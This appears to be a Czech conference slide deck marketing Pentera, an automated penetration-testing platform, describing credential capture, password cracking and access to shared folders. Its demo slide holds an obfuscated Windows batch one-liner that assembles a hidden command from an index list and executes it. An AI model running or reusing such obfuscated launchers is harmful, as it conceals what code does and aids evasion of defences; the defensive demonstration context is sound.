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Jak ověřit reálný stav bezpečnosti 

infrastruktury?
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Existuje nějaké řešení?
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▪ Izrael, 2015

▪ 330+ zaměstnanců

▪ 800+ zákazníků

▪ 50+ zemí globálně

Pentera
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Pentera

▪ automatická platforma pro validaci kybernetické bezpečnosti (ASV)

▪ nesimuluje, reálně validuje bezpečnost

▪ kontrola jakéhokoliv bezpečnostního řešení

▪ není to jen o zranitelnostech, ale i nastavení
Kontinuální Komplexní

Nízké počty

false-positive/negative

Opravdová

validace

bezpečnosti
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Co všechno PENTERA Core dělá?

▪ bez nutnosti instalace agenta

▪ reálné, bezpečné postupy

▪ autonomní, komplexní

▪ žádná simulace
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Zachycení 
přihlašovacích 
údajů

Pentera Core
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Jak to prakticky funguje

Blackbox/Greybox

▪ Přijdu a zapojím Penteru do uživatelské sítě.

▪ Po 10 minutách zachycuji první uživatelské přístupové údaje.

▪ Jednou za pár hodin rozhoduji, jaké akce může Pentera provést.

▪ V řádu hodin mám většinou první prolomené uživatele.

▪ Dostáváme se ke sdíleným složkám, heslům prohlížečů, emailům…

AD assessment

▪ (typicky 30% prolomených hesel)



demo
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set qKyP=8xNIW=340tYLJSegs7jR.yKwMVG5Zpc2nE-o diF1Qubz9kCHaml/fDBUAhTXOPv&&for %W in 

(29,35,23,33,19,16,58,14,51,11,20,14,1,33,36,34,4,3,32,54,61,23,36,48,3,54,54,33,32,36,34,33,60,33,30,56,59,3,35,32,29,36,55,10,62,57,13,13,36,34,16,9,49,36,34,32,61,62,19,35,53,3,1

1,14,36,34,14,32,30,35,37,14,37,30,35,24,50,49,2,37,36,28,15,55,62,57,39,3,57,28,41,55,55,57,26,24,57,13,57,57,35,57,47,41,57,56,57,57,15,57,33,46,57,59,15,57,15,57,54,41,57,2,57,5

7,44,57,47,23,57,24,41,57,44,57,54,15,57,11,57,57,7,57,54,57,57,61,57,57,23,57,47,23,57,2,57,57,1,57,54,56,57,2,41,57,1,57,47,46,57,14,23,55,56,57,48,3,57,4,41,55,17,57,47,41,57,37,

23,57,45,57,33,7,57,19,41,55,6,57,47,8,57,43,23,55,47,57,26,35,57,28,41,55,18,57,48,41,57,3,57,55,44,57,39,46,57,56,23,55,8,57,33,56,57,43,41,57,42,57,26,7,57,28,41,55,56,57,47,7,5

7,37,23,55,39,57,33,3,57,10,23,55,24,57,26,46,57,19,41,55,61,57,48,41,57,61,23,57,46,57,48,30,57,11,15,55,46,57,33,0,57,25,23,55,61,57,33,23,57,43,23,55,55,57,26,41,57,56,23,55,8,5

7,48,3,57,49,41,55,61,57,26,30,57,22,57,57,32,57,26,15,57,25,57,55,8,57,39,57,57,61,15,57,63,57,47,0,57,24,41,57,27,57,54,3,57,11,15,57,1,57,54,10,57,61,57,57,42,57,54,33,57,24,41,

57,23,57,47,7,57,24,41,57,23,57,54,35,57,14,23,57,23,57,48,8,57,11,23,55,48,57,33,56,57,37,57,57,9,57,48,57,57,56,23,57,52,57,26,8,57,62,41,55,51,57,48,15,57,28,41,55,18,57,48,56,5

7,37,57,55,51,57,47,8,57,30,57,55,51,57,47,7,57,30,57,55,44,57,54,33,57,12,23,57,15,57,47,8,57,19,15,57,15,57,47,41,57,56,57,57,29,57,48,23,57,13,41,55,51,57,39,15,57,61,23,55,38,5

7,48,3,57,28,41,55,58,57,26,16,57,53,41,55,18,57,26,33,57,37,57,55,18,57,33,15,57,14,23,55,45,57,48,8,57,61,23,55,51,57,48,15,57,19,41,55,18,57,39,56,57,25,57,55,51,57,47,8,57,56,5

7,55,51,57,47,57,57,11,41,55,40,57,48,3,57,59,57,57,15,57,33,15,57,25,57,55,8,57,39,57,57,61,15,57,63,57,47,0,57,24,41,57,27,57,54,3,57,11,15,57,1,57,54,10,57,61,57,57,42,57,54,33,

57,24,41,57,23,57,47,7,57,24,41,57,23,57,54,35,57,61,57,57,23,57,54,46,57,24,57,57,63,57,39,10,57,60,23,55,24,57,33,56,57,25,15,55,39,57,33,23,57,24,15,55,53,57,54,33,57,61,41,57,

21,57,47,7,57,24,41,57,31,57,54,15,57,11,15,57,1,57,54,33,57,24,57,57,42,57,54,33,57,24,57,55,53,57,54,41,57,2,57,57,31,57,54,3,57,60,23,55,55,57,33,56,57,56,23,55,53,57,48,15,57,2

,15,57,8,57,39,0,57,49,57,55,8,57,48,41,57,30,57,55,44,57,47,7,57,28,57,55,16,57,26,23,57,3,57,57,9,57,33,10,57,13,41,55,24,57,33,56,57,25,57,55,27,57,48,57,57,28,41,57,15,57,26,41,

57,43,57,55,16,57,47,57,57,11,41,55,16,57,33,46,57,56,23,55,56,57,33,56,57,59,15,55,39,57,39,3,57,13,41,55,41,57,47,57,57,24,41,57,27,57,54,3,57,11,15,57,1,57,54,10,57,61,57,57,42,

57,54,33,57,24,41,57,23,57,47,7,57,24,41,57,23,57,47,57,57,11,41,55,24,57,33,46,57,56,23,55,56,57,26,56,57,59,15,55,51,57,48,3,57,30,57,55,62,57,39,3,57,37,57,57,15,57,54,41,57,24,

41,57,40,57,54,56,57,24,41,57,5,66)do set TX=!TX!!qKyP:~%W,1!&&if %W==66 call %TX:*TX!=%
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Jak se sám sebe ptát

▪ Dáte hlavu na špalek, že vaše infrastruktura je 100% neprolomitelná?

▪ Jste schopni si nechávat kontinuálně validovat celou infrastrukturu?

▪ Dovedete jasně říci, v jakých oblastech má obrana vašeho ekosystému reálné mezery?

Pokud jsou vaše odpovědi NE, najdete nás u stánku DNS.

Pokud jste odpovídali ANO, vyhledejte mě také, budu na vás mít spoustu otázek.



Děkuji za pozornost


